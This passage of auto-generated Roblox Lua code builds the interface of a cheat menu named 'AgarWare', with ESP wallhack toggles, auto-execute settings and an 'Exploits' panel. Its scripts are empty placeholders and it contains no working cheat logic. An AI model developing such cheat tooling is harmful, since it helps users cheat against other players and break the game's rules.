0, 20); G2L["8b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["8b"]["Text"] = [[Max Dist]]; G2L["8b"]["Name"] = [[ESPMaxDIstText]]; G2L["8b"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPMaxDistRow.ESPMaxDistChanger G2L["8c"] = Instance.new("TextBox", G2L["88"]); G2L["8c"]["Name"] = [[ESPMaxDistChanger]]; G2L["8c"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255); G2L["8c"]["TextWrapped"] = true; G2L["8c"]["TextSize"] = 14; G2L["8c"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["8c"]["TextScaled"] = true; G2L["8c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["8c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["8c"]["ClearTextOnFocus"] = false; G2L["8c"]["PlaceholderText"] = [[(1000)]]; G2L["8c"]["Size"] = UDim2.new(0, 46, 0, 16); G2L["8c"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0); G2L["8c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["8c"]["Text"] = [[]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPDistanceRow G2L["8d"] = Instance.new("Frame", G2L["7e"]); G2L["8d"]["BorderSizePixel"] = 0; G2L["8d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["8d"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["8d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["8d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["8d"]["Name"] = [[ESPDistanceRow]]; G2L["8d"]["LayoutOrder"] = 2; G2L["8d"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPDistanceRow.ESPDistanceScript G2L["8e"] = Instance.new("LocalScript", G2L["8d"]); G2L["8e"]["Name"] = [[ESPDistanceScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPDistanceRow.ESPDistanceTickBox G2L["8f"] = Instance.new("TextButton", G2L["8d"]); G2L["8f"]["TextSize"] = 14; G2L["8f"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["8f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["8f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["8f"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["8f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["8f"]["Text"] = [[]]; G2L["8f"]["Name"] = [[ESPDistanceTickBox]]; G2L["8f"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPDistanceRow.ESPDistanceText G2L["90"] = Instance.new("TextLabel", G2L["8d"]); G2L["90"]["BorderSizePixel"] = 0; G2L["90"]["TextSize"] = 14; G2L["90"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["90"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["90"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["90"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["90"]["BackgroundTransparency"] = 1; G2L["90"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["90"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["90"]["Text"] = [[Distance Label]]; G2L["90"]["Name"] = [[ESPDistanceText]]; G2L["90"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPOutlineRow G2L["91"] = Instance.new("Frame", G2L["7e"]); G2L["91"]["BorderSizePixel"] = 0; G2L["91"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["91"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["91"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["91"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["91"]["Name"] = [[ESPOutlineRow]]; G2L["91"]["LayoutOrder"] = 2; G2L["91"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPOutlineRow.ESPOutlineScript G2L["92"] = Instance.new("LocalScript", G2L["91"]); G2L["92"]["Name"] = [[ESPOutlineScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPOutlineRow.ESPOutlineTickBox G2L["93"] = Instance.new("TextButton", G2L["91"]); G2L["93"]["TextSize"] = 14; G2L["93"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["93"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["93"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["93"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["93"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["93"]["Text"] = [[]]; G2L["93"]["Name"] = [[ESPOutlineTickBox]]; G2L["93"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPOutlineRow.ESPOutlineText G2L["94"] = Instance.new("TextLabel", G2L["91"]); G2L["94"]["BorderSizePixel"] = 0; G2L["94"]["TextSize"] = 14; G2L["94"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["94"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["94"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["94"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["94"]["BackgroundTransparency"] = 1; G2L["94"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["94"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["94"]["Text"] = [[Player Outline]]; G2L["94"]["Name"] = [[ESPOutlineText]]; G2L["94"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide G2L["95"] = Instance.new("Frame", G2L["7b"]); G2L["95"]["BorderSizePixel"] = 0; G2L["95"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["95"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["95"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0); G2L["95"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["95"]["Name"] = [[VisualRightSide]]; G2L["95"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.UIListLayout G2L["96"] = Instance.new("UIListLayout", G2L["95"]); G2L["96"]["Padding"] = UDim.new(0, 7); G2L["96"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup G2L["97"] = Instance.new("Frame", G2L["95"]); G2L["97"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["97"]["BorderMode"] = Enum.BorderMode.Middle; G2L["97"]["Size"] = UDim2.new(0, 170, 0, 65); G2L["97"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["97"]["Name"] = [[ESPSGroup]]; G2L["97"]["LayoutOrder"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPSScript G2L["98"] = Instance.new("LocalScript", G2L["97"]); G2L["98"]["Name"] = [[ESPSScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.UIListLayout G2L["99"] = Instance.new("UIListLayout", G2L["97"]); G2L["99"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPSAccentColor G2L["9a"] = Instance.new("Frame", G2L["97"]); G2L["9a"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["9a"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["9a"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["9a"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["9a"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["9a"]["Name"] = [[ESPSAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPSTitle G2L["9b"] = Instance.new("TextLabel", G2L["97"]); G2L["9b"]["TextWrapped"] = true; G2L["9b"]["BorderSizePixel"] = 0; G2L["9b"]["TextSize"] = 14; G2L["9b"]["TextScaled"] = true; G2L["9b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["9b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["9b"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["9b"]["BackgroundTransparency"] = 0.95; G2L["9b"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["9b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["9b"]["Text"] = [[ESP Settings]]; G2L["9b"]["LayoutOrder"] = 1; G2L["9b"]["Name"] = [[ESPSTitle]]; G2L["9b"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPSTitle.ESPSMinimize G2L["9c"] = Instance.new("TextButton", G2L["9b"]); G2L["9c"]["BorderSizePixel"] = 0; G2L["9c"]["TextSize"] = 14; G2L["9c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["9c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["9c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["9c"]["BackgroundTransparency"] = 1; G2L["9c"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["9c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["9c"]["Text"] = [[-]]; G2L["9c"]["Name"] = [[ESPSMinimize]]; G2L["9c"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPEnableRow G2L["9d"] = Instance.new("Frame", G2L["97"]); G2L["9d"]["BorderSizePixel"] = 0; G2L["9d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["9d"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["9d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["9d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["9d"]["Name"] = [[ESPEnableRow]]; G2L["9d"]["LayoutOrder"] = 3; G2L["9d"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPEnableRow.ESPEnableScript G2L["9e"] = Instance.new("LocalScript", G2L["9d"]); G2L["9e"]["Name"] = [[ESPEnableScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPEnableRow.ESPEnableTickBox G2L["9f"] = Instance.new("TextButton", G2L["9d"]); G2L["9f"]["TextSize"] = 14; G2L["9f"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["9f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["9f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["9f"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["9f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["9f"]["Text"] = [[]]; G2L["9f"]["Name"] = [[ESPEnableTickBox]]; G2L["9f"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPEnableRow.ESPEnableText G2L["a0"] = Instance.new("TextLabel", G2L["9d"]); G2L["a0"]["BorderSizePixel"] = 0; G2L["a0"]["TextSize"] = 14; G2L["a0"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["a0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["a0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["a0"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["a0"]["BackgroundTransparency"] = 1; G2L["a0"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["a0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["a0"]["Text"] = [[Enable ESP]]; G2L["a0"]["Name"] = [[ESPEnableText]]; G2L["a0"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPUserRow G2L["a1"] = Instance.new("Frame", G2L["97"]); G2L["a1"]["BorderSizePixel"] = 0; G2L["a1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["a1"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["a1"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["a1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["a1"]["Name"] = [[ESPUserRow]]; G2L["a1"]["LayoutOrder"] = 3; G2L["a1"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPUserRow.ESPUserScript G2L["a2"] = Instance.new("LocalScript", G2L["a1"]); G2L["a2"]["Name"] = [[ESPUserScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPUserRow.ESPUserTickBox G2L["a3"] = Instance.new("TextButton", G2L["a1"]); G2L["a3"]["TextSize"] = 14; G2L["a3"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["a3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["a3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["a3"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["a3"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["a3"]["Text"] = [[]]; G2L["a3"]["Name"] = [[ESPUserTickBox]]; G2L["a3"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPUserRow.ESPUserText G2L["a4"] = Instance.new("TextLabel", G2L["a1"]); G2L["a4"]["BorderSizePixel"] = 0; G2L["a4"]["TextSize"] = 14; G2L["a4"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["a4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["a4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["a4"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["a4"]["BackgroundTransparency"] = 1; G2L["a4"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["a4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["a4"]["Text"] = [[Show Display Names]]; G2L["a4"]["Name"] = [[ESPUserText]]; G2L["a4"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage G2L["a5"] = Instance.new("ScrollingFrame", G2L["17"]); G2L["a5"]["Visible"] = false; G2L["a5"]["Active"] = true; G2L["a5"]["BorderSizePixel"] = 0; G2L["a5"]["CanvasSize"] = UDim2.new(0, 0, 1.5, 0); G2L["a5"]["Name"] = [[SettingsPage]]; G2L["a5"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0); G2L["a5"]["Size"] = UDim2.new(0, 349, 0, 250); G2L["a5"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0); G2L["a5"]["Position"] = UDim2.new(0.02329, 0, 0.03008, 0); G2L["a5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["a5"]["ScrollBarThickness"] = 0; G2L["a5"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide G2L["a6"] = Instance.new("Frame", G2L["a5"]); G2L["a6"]["BorderSizePixel"] = 0; G2L["a6"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["a6"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["a6"]["Position"] = UDim2.new(0, 0, 0.00439, 0); G2L["a6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["a6"]["Name"] = [[SettingsLeftSide]]; G2L["a6"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.UIListLayout G2L["a7"] = Instance.new("UIListLayout", G2L["a6"]); G2L["a7"]["Padding"] = UDim.new(0, 7); G2L["a7"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup G2L["a8"] = Instance.new("Frame", G2L["a6"]); G2L["a8"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["a8"]["BorderMode"] = Enum.BorderMode.Middle; G2L["a8"]["Size"] = UDim2.new(0, 170, 0, 65); G2L["a8"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["a8"]["Name"] = [[MainSettingsGroup]]; G2L["a8"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsScript G2L["a9"] = Instance.new("LocalScript", G2L["a8"]); G2L["a9"]["Name"] = [[MainSettingsScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsTooltip G2L["aa"] = Instance.new("LocalScript", G2L["a8"]); G2L["aa"]["Name"] = [[MainSettingsTooltip]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.UIListLayout G2L["ab"] = Instance.new("UIListLayout", G2L["a8"]); G2L["ab"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsAccentColor G2L["ac"] = Instance.new("Frame", G2L["a8"]); G2L["ac"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["ac"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["ac"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["ac"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["ac"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["ac"]["Name"] = [[MainSettingsAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsTitle G2L["ad"] = Instance.new("TextLabel", G2L["a8"]); G2L["ad"]["TextWrapped"] = true; G2L["ad"]["BorderSizePixel"] = 0; G2L["ad"]["TextSize"] = 14; G2L["ad"]["TextScaled"] = true; G2L["ad"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["ad"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["ad"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["ad"]["BackgroundTransparency"] = 0.95; G2L["ad"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["ad"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["ad"]["Text"] = [[Main Settings]]; G2L["ad"]["LayoutOrder"] = 1; G2L["ad"]["Name"] = [[MainSettingsTitle]]; G2L["ad"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsTitle.MainSettingsMinimize G2L["ae"] = Instance.new("TextButton", G2L["ad"]); G2L["ae"]["BorderSizePixel"] = 0; G2L["ae"]["TextSize"] = 14; G2L["ae"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["ae"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["ae"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["ae"]["BackgroundTransparency"] = 1; G2L["ae"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["ae"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["ae"]["Text"] = [[-]]; G2L["ae"]["Name"] = [[MainSettingsMinimize]]; G2L["ae"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.SaveScriptsRow G2L["af"] = Instance.new("Frame", G2L["a8"]); G2L["af"]["BorderSizePixel"] = 0; G2L["af"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["af"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["af"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["af"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["af"]["Name"] = [[SaveScriptsRow]]; G2L["af"]["LayoutOrder"] = 3; G2L["af"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.SaveScriptsRow.SaveScriptsScript G2L["b0"] = Instance.new("LocalScript", G2L["af"]); G2L["b0"]["Name"] = [[SaveScriptsScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.SaveScriptsRow.SaveScriptsTickBox G2L["b1"] = Instance.new("TextButton", G2L["af"]); G2L["b1"]["TextSize"] = 14; G2L["b1"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["b1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["b1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["b1"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["b1"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["b1"]["Text"] = [[]]; G2L["b1"]["Name"] = [[SaveScriptsTickBox]]; G2L["b1"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.SaveScriptsRow.SaveScriptsText G2L["b2"] = Instance.new("TextLabel", G2L["af"]); G2L["b2"]["BorderSizePixel"] = 0; G2L["b2"]["TextSize"] = 14; G2L["b2"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["b2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["b2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["b2"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["b2"]["BackgroundTransparency"] = 1; G2L["b2"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["b2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["b2"]["Text"] = [[Auto Load Scripts]]; G2L["b2"]["Name"] = [[SaveScriptsText]]; G2L["b2"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.AutoExecuteRow G2L["b3"] = Instance.new("Frame", G2L["a8"]); G2L["b3"]["BorderSizePixel"] = 0; G2L["b3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["b3"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["b3"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["b3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["b3"]["Name"] = [[AutoExecuteRow]]; G2L["b3"]["LayoutOrder"] = 3; G2L["b3"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.AutoExecuteRow.AutoExecuteScript G2L["b4"] = Instance.new("LocalScript", G2L["b3"]); G2L["b4"]["Name"] = [[AutoExecuteScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.AutoExecuteRow.AutoExecuteTickBox G2L["b5"] = Instance.new("TextButton", G2L["b3"]); G2L["b5"]["TextSize"] = 14; G2L["b5"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["b5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["b5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["b5"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["b5"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["b5"]["Text"] = [[]]; G2L["b5"]["Name"] = [[AutoExecuteTickBox]]; G2L["b5"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.AutoExecuteRow.AutoExecuteText G2L["b6"] = Instance.new("TextLabel", G2L["b3"]); G2L["b6"]["BorderSizePixel"] = 0; G2L["b6"]["TextSize"] = 14; G2L["b6"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["b6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["b6"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["b6"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["b6"]["BackgroundTransparency"] = 1; G2L["b6"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["b6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["b6"]["Text"] = [[Auto Execute]]; G2L["b6"]["Name"] = [[AutoExecuteText]]; G2L["b6"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide G2L["b7"] = Instance.new("Frame", G2L["a5"]); G2L["b7"]["BorderSizePixel"] = 0; G2L["b7"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["b7"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["b7"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0); G2L["b7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["b7"]["Name"] = [[SettingsRightSide]]; G2L["b7"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.UIListLayout G2L["b8"] = Instance.new("UIListLayout", G2L["b7"]); G2L["b8"]["Padding"] = UDim.new(0, 7); G2L["b8"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup G2L["b9"] = Instance.new("Frame", G2L["b7"]); G2L["b9"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["b9"]["BorderMode"] = Enum.BorderMode.Middle; G2L["b9"]["Size"] = UDim2.new(0, 170, 0, 80); G2L["b9"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["b9"]["Name"] = [[ExploitsGroup]]; G2L["b9"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.ExploitsScript G2L["ba"] = Instance.new("LocalScript", G2L["b9"]); G2L["ba"]["Name"] = [[ExploitsScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.UIListLayout G2L["bb"] = Instance.new("UIListLayout", G2L["b9"]); G2L["bb"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.ExploitsAccentColor G2L["bc"] = Instance.new("Frame", G2L["b9"]); G2L["bc"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["bc"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["bc"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["bc"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["bc"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); 